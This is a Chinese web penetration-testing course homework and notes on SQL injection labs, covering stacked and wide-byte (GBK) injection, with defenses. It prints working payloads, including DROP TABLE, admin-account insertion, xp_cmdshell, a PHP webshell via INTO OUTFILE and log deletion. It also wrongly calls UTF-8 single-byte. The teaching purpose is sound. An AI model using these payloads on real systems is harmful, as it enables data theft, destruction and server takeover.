|
WEB渗透测试工程师系统班250303期 第15节课作业 一、 实际操作课堂讲解的yakit sql注入靶场,截图 第九关:字符串注入点模糊查询(括号边界) payload:【’ OR 1=1) --】 由于1=1恒为真,所以爆出所有用户数据
第十关:参数编码字符串注入点模糊查询(括号边界) 和第九关的不同是参数进行了base64的编码 payload:base64编码后的【‘) OR 1=1 --】
第十一关:Base64 参数(JSON)嵌套字符串注入点模糊查询(括号边界) 和第十关不同的是:参数是用的JSON嵌套 payload:base64编码后的【‘) OR 1=1 --】
第十二关:LIMIT(语句结尾)注入案例 堆叠注入 payload:【1 and 1=0; select 1,2,3】 其实【1 and 1=0;select 1,2,3】也行在这里
二、 堆叠注入的原理是什么 堆叠注入(Stacked Injection)是一种SQL注入技术,允许攻击者通过一次输入执行多个SQL语句,从而实施更复杂的攻击。其核心原理和关键点如下: 原理 1.分号分隔语句 在SQL中,分号(;)用于分隔多个独立的语句。攻击者通过注入分号结束原语句,并追加新的恶意语句,例如: SELECT * FROM users WHERE id='1'; DROP TABLE users; --'; 此处,原查询执行后,会继续执行DROP TABLE users。 2.数据库支持多语句执行 堆叠注入成功的前提是目标数据库支持多语句执行(如MySQL、MSSQL等),且应用程序接口(如PHP的mysqli_multi_query())允许此类操作。 与普通SQL注入的区别 普通注入:通过闭合原语句,注入UNION SELECT或布尔逻辑等,通常用于数据泄露。 堆叠注入:直接追加新语句,可执行任意数据库操作(增删改查、修改结构等),危害更大。 利用条件 1.数据库支持多语句(如MySQL需配置CLIENT_MULTI_STATEMENTS)。 2.未使用预编译语句(Prepared Statements),否则输入会被视为数据而非代码。 3.应用程序未过滤分号,且直接拼接用户输入到SQL中。 4.足够的数据库权限(如DROP、ALTER权限)。 攻击示例 假设存在漏洞的查询: $id = $_GET['id']; $sql = "SELECT * FROM products WHERE id = '$id'"; 攻击者输入: 1'; INSERT INTO logs (message) VALUES ('Exploited'); -- 最终执行语句: SELECT * FROM products WHERE id = '1'; INSERT INTO logs (message) VALUES ('Exploited'); --' 此时会插入一条日志记录,而页面可能仅显示SELECT结果。 防御措施 1.使用参数化查询(预编译语句):避免用户输入被解析为SQL代码。 2.最小化数据库权限:限制应用账户权限,禁止DROP、ALTER等敏感操作。 3.过滤输入:禁止用户输入中的分号或特殊字符。 4.禁用多语句执行:如MySQL配置中关闭CLIENT_MULTI_STATEMENTS。 总结 堆叠注入通过分号注入多个语句,直接威胁数据库完整性。其成功依赖数据库配置和应用程序防护措施。防御关键在于严格处理用户输入,并遵循最小权限原则。
三、 堆叠注入的利用场景是什么 堆叠注入的利用场景主要集中在攻击者能够通过注入多个SQL语句执行任意数据库操作的情况下。其危害远超普通SQL注入,因为它不仅能窃取数据,还能直接修改数据库结构或执行高危操作。以下是堆叠注入的主要利用场景及具体实例: 1. 直接修改数据库结构 场景:攻击者通过堆叠注入执行DDL(数据定义语言)命令,直接修改表、字段或索引。 实例: 删除关键表: '; DROP TABLE users; -- 注入后,原查询结束后会执行DROP TABLE users,导致用户数据丢失。 添加新字段(用于后续攻击): '; ALTER TABLE users ADD COLUMN hacked BOOLEAN DEFAULT 1; -- 适用条件: 数据库用户具有ALTER、DROP等权限。 目标数据库支持多语句执行(如MySQL、MSSQL)。 2. 插入恶意数据 场景:向数据库插入伪造数据,例如后门账户或篡改业务逻辑。 实例: 创建管理员账户: '; INSERT INTO admins (username, password) VALUES ('attacker', 'password123'); -- 篡改商品价格: '; UPDATE products SET price=0.01 WHERE id=1001; -- 适用条件: 攻击者需了解目标表结构(可通过信息泄露获取)。 数据库用户有INSERT、UPDATE权限。 3. 执行系统命令或文件操作 场景:利用数据库的扩展功能执行操作系统命令或读写文件。 实例: MSSQL中执行系统命令: '; EXEC xp_cmdshell 'whoami'; -- MySQL中写入WebShell(需FILE权限): '; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; -- 适用条件: 数据库配置允许执行系统命令(如MSSQL的xp_cmdshell已启用 数据库用户具有高权限(如sysadmin、FILE权限)。 4. 绕过身份认证 场景:通过堆叠注入修改用户凭据或权限,直接登录系统。 实例: 修改管理员密码: '; UPDATE users SET password='hacked' WHERE username='admin'; -- 赋予普通用户管理员权限: '; GRANT admin_role TO normal_user; -- 适用条件: 数据库用户有权限修改用户表或权限表(如mysql.user)。 5. 联合其他注入技术扩大攻击面 场景:堆叠注入与UNION注入、盲注等技术结合,实现更复杂的攻击链。 实例: 通过UNION注入泄露表结构: ' UNION SELECT table_name, column_name FROM information_schema.columns; -- 利用堆叠注入删除日志表以掩盖攻击痕迹: '; DROP TABLE audit_logs; -- 6. 自动化攻击与蠕虫传播 场景:攻击者在注入点插入恶意代码,使数据库自动执行后续攻击。 实例: 在数据库表中插入恶意负载,当其他应用读取该数据时触发二次注入: '; INSERT INTO posts (content) VALUES ('<script>恶意代码</script>'); --
四、宽字节注入的原理是什么
宽字节注入(Wide-Character Injection)是一种利用字符编码漏洞绕过转义机制的SQL注入技术,主要出现在使用多字节字符集(如GBK、GB2312、BIG5等)的应用程序中。其核心原理是通过构造特殊的字符组合,使得数据库错误解析用户输入中的转义符号(如反斜杠\),最终导致注入成功。 原理详解 1. 字符编码背景 宽字节字符集:如GBK、GB2312等编码中,某些字符由两个字节表示(例如汉字)。 转义机制:当应用程序对用户输入进行转义(如PHP的addslashes()函数)时,会在特殊字符(如单引号')前添加反斜杠\,变成\',防止SQL注入。 漏洞触发条件:数据库或应用程序层使用宽字节字符集,且未正确处理转义逻辑。
2. 漏洞形成过程 假设应用程序使用GBK编码,并有以下代码: // 用户输入:id = '1' $id = addslashes($_GET['id']); // 转义后:1\' $sql = "SELECT * FROM users WHERE id='$id'"; 正常情况下,SQL语句应为: SELECT * FROM users WHERE id='1\'' 单引号被转义,无法闭合语句,因此注入失败。
3. 宽字节注入攻击 攻击者输入一个特殊字符(如%df%27,URL解码后为運'): 输入:id=1%df%27 转义后:1%df%5c%27(%5c是反斜杠\的URL编码) 数据库解析: GBK编码中,%df%5c会被视为一个宽字符運(0xDF5C对应GBK编码的“運”)。 剩余的%27(即单引号')未被转义,直接闭合语句。 最终SQL语句: SELECT * FROM users WHERE id='1運'' 此时,单引号成功闭合,攻击者可在后续追加注入代码: SELECT * FROM users WHERE id='1運' AND 1=2 UNION SELECT 1,2,database() -- '
关键点总结 字符编码的“吞并”特性: 宽字节字符集将两个连续字节解析为一个字符。例如,%df%5c被解析为運,导致反斜杠\被“吞掉”。 绕过转义机制: 转义后的反斜杠\(%5c)与前一个字节(如%df)组合成合法字符,使后续的单引号'逃逸。 攻击依赖条件: 数据库或应用程序层使用宽字节字符集(如GBK)。 转义逻辑未正确处理多字节字符(如未设置SET NAMES或character_set_client为二进制)。
实际攻击示例 假设存在漏洞的URL: http://example.com/user.php?id=1%df%27%20AND%201=2%20UNION%20SELECT%201,2,3%20--%20 解码后输入:1運' AND 1=2 UNION SELECT 1,2,3 -- 生成的SQL: SELECT * FROM users WHERE id='1運' AND 1=2 UNION SELECT 1,2,3 -- ' 结果:返回UNION查询的结果,泄露数据库信息。
防御措施 统一字符集为UTF-8: UTF-8是单字节编码,天然免疫宽字节注入。 // 在连接数据库时显式设置字符集 $conn->set_charset("utf8mb4");
禁用宽字节字符集: 在数据库配置中避免使用GBK、BIG5等编码。
正确设置character_set_client: 在MySQL中,使用SET NAMES时指定二进制模式: SET NAMES 'binary';
使用参数化查询(预编译语句): 直接避免SQL拼接,彻底杜绝注入。 $stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("s", $id);
过滤特殊字符: 检查用户输入中是否包含%df、%5c等危险组合。
MySQL 5.5+的特殊情况 从MySQL 5.5开始,若使用SET NAMES 'gbk',数据库会自动将character_set_client设置为binary,从而免疫宽字节注入。 但需注意:如果应用程序手动修改character_set_client为GBK,漏洞仍可能被利用。
总结 宽字节注入的本质是利用多字节编码的解析特性绕过转义机制。防御的核心是统一使用UTF-8编码、参数化查询,并正确配置数据库字符集。
五、实操sqli靶场36关宽字节注入 ?id=1%81' and 1=1 --+
回显正常
?id=1%81' and 1=2 --+ 回显不正常
确定闭合正确
确定列数,回显点,最后爆库 ?id=-1%81' union select 1,database(),version() --+
一、笔记标题:WEB渗透系统班-模糊查询&堆叠注入+堆叠&宽字节注入
二、文章内容:
1. 课程内容概要
主要知识点1:sqli靶场第九关【字符串注入点模糊查询(括号边界)】
在此案例中,仍使用了LIKE语句进行模糊查询,但增加了查询条件并且使用了括号包裹,考验攻击者能否正常闭合括号,该 SQL 语句没有对用户输入进行任何过滤或转义,这就为注入攻击提供了机会。 示例代码:# #查询名称为a并且年龄大于20的用户 select * from vulin_users where (username LIKE '%a%') AND (age > 20); 攻击示例:# #如果应用程序未进行适当的处理,最终的查询语句会变成: select * from vulin_users where (username LIKE '%' OR 1=1) --%') AND (age > 20); #实际语句同下 select * from vulin_users where (username LIKE '%' OR 1=1); 在这个示例中,攻击者将$a设置为' OR 1=1)--,这将导致 SQL 查询中的WHERE条件永远为真,因为1=1始终为真。并且--表示 SQL 中的单行注释,会使后续的查询语句被忽略掉。这样,攻击者就可以绕过原本的查询条件,获取vulin_users表中所有用户记录。
防御措施:# 使用参数化查询或预处理语句: 不要将用户输入直接拼接到 SQL 查询中。使用参数化查询或预处理语句,将用户输入作为参数绑定到查询中,数据库引擎会自动处理输入的转义,避免注入攻击。 使用 ORM(对象关系映射): 使用 ORM 框架,例如 Hibernate、Sequelize 等,可以避免直接使用原始 SQL 查询,ORM 框架会自动进行查询参数的处理。 输入验证和过滤: 对于所有从用户获取的输入,进行合法性验证和适当的过滤,确保输入符合预期的格式和范围。拒绝非法的输入,防止恶意输入进入数据库查询。
主要知识点2:sqli靶场第十关【参数编码字符串注入点模糊查询(括号边界)】 参数编码字符串注入点模糊查询是一种安全漏洞,通常发生在应用程序接受用户输入,并将其作为模糊查询条件用于 SQL 语句中。在这种情况下,如果应用程序未对用户输入进行适当的处理和过滤,攻击者可能通过注入特殊字符来改变查询条件,绕过预期的过滤,导致数据泄露或非预期的查询结果。 示例代码:# 假设应用程序使用以下后端查询语句来执行模糊查询: SELECT * FROM vulin_users WHERE (username LIKE '%a%') AND (age > 20); 在该查询中,username字段进行了模糊查询,查找包含字母a的用户,同时筛选出age大于 20 岁的用户。 攻击示例:# 假设攻击者在输入中注入以下内容: /*payload-1*/ ') OR 1=1 -- /*payload-2*/ ' OR 1=1) -- 构建的查询将变成: /*payload-1的SQL语句*/
select * from vulin_users where (username LIKE '%a') OR 1=1 --%') AND (age > 20); /*payload-2的SQL语句*/ select * from vulin_users where (username LIKE '%a' OR 1=1) --%') AND (age > 20); 在这个恶意输入中,攻击者成功地在查询条件中添加了额外的条件 1=1,并用注释符号--来注释掉后面的部分。这将导致查询忽略原本的条件 (age > 20),并返回所有用户数据,因为 1=1 总是为真。
防御措施:#
为了防止参数编码字符串注入点模糊查询漏洞,应该始终使用参数化查询或预处理语句,不要直接拼接用户输入到 SQL 查询中,并对输入进行严格的过滤和验证。在示例中,可以使用预处理语句来避免漏洞,例如: # 假设username和age是从用户输入获取的值
username = request.form['username'] age = request.form['age'] # 使用预处理语句构建查询
sql = "SELECT * FROM vulin_users WHERE (username LIKE ?) AND (age > ?)" cursor.execute(sql, ('%' + username + '%', age)) result = cursor.fetchall() 通过采取这些安全措施,可以有效地防止参数编码字符串注入点模糊查询漏洞,并保护应用程序和数据库的安全。
主要知识点3:sqli靶场第十一关【Base64 参数(JSON)嵌套字符串注入点模糊查询(括号边界)】 Base64 参数(JSON)嵌套字符串注入点模糊查询是一种安全漏洞,通常出现在应用程序接受经过 Base64 编码的 JSON 格式参数,并将其作为模糊查询条件用于 SQL 语句中。攻击者可以通过注入特殊的 Base64 编码和 JSON 字符串来改变查询条件,绕过预期的过滤,导致数据泄露或非预期的查询结果。 示例代码:#
假设应用程序接受经过 Base64 编码的 JSON 格式参数,并使用以下后端查询语句执行模糊查询: SELECT * FROM vulin_users WHERE (username LIKE '%a%') AND (age > 20);
攻击示例:# 假设攻击者将data参数设置为以下 Base64 编码的 JSON 字符串: #payload-1
eyJuYW1lYjY0aiI6IicpIE9SIDE9MSAtLSJ9 #payload-2 eyJuYW1lYjY0aiI6IicgT1IgMT0xKSAtLSJ9 解码后的 JSON 字符串为: #payload-1
{"nameb64j":"') OR 1=1 --"} #payload-2 "nameb64j":"' OR 1=1) --"} /*payload-1的SQL语句*/ select * from vulin_users where (username LIKE '%a') OR 1=1 --%') AND (age > 20); /*payload-2的SQL语句*/ select * from vulin_users where (username LIKE '%a' OR 1=1) --%') AND (age > 20); 在这个恶意输入中,攻击者成功地在查询条件中添加了额外的条件 OR 1=1,并用注释符号--来注释掉后面的部分。这将导致查询忽略原本的条件 (age > 20),返回所有用户数据,因为 1=1 总是为真。
防御措施:# 为了防止 Base64 参数(JSON)嵌套字符串注入点模糊查询漏洞,应该始终使用参数化查询或预处理语句,不要直接拼接用户输入到 SQL 查询中,并对输入进行严格的过滤和验证。
主要知识点4:sqli靶场第十二关【LIMIT(语句结尾)注入案例】
由于mysql的语法,limit后面只能跟offset,没有什么继续探测的操作空间了,于是使用分号,另起炉灶
2.重点知识与细节
概念解析
概念1:堆叠注入
概念2:宽字节注入
概念3:反斜杠\为什么能使单引号等失去闭合字符串的能力 假设用户输入 1',应用程序使用addslashes()转义后变为 1\': SELECT * FROM users WHERE id='1\''; 解析逻辑: 单引号(')前的反斜杠(\)被数据库视为转义字符。 数据库将 \' 解析为一个普通单引号字符,而非字符串结束符。
结果:字符串未被闭合,注入失败。
关键步骤(判断闭合)
步骤1:?id=1' and 1=1 --+ 回显正常
步骤2:?id=1' and 1=2 --+回显不正常
步骤3:判断单引号'是闭合,其他闭合同理
相关代码 同作业
3.实操练习 和 解析
无
4.个人总结
本节课最大的收获是:学会了,堆叠注入,宽字符注入这些更加深入的SQL注入
仍然存在疑问的地方:暂无
需要课后深入学习的内容:更多的注入方式
|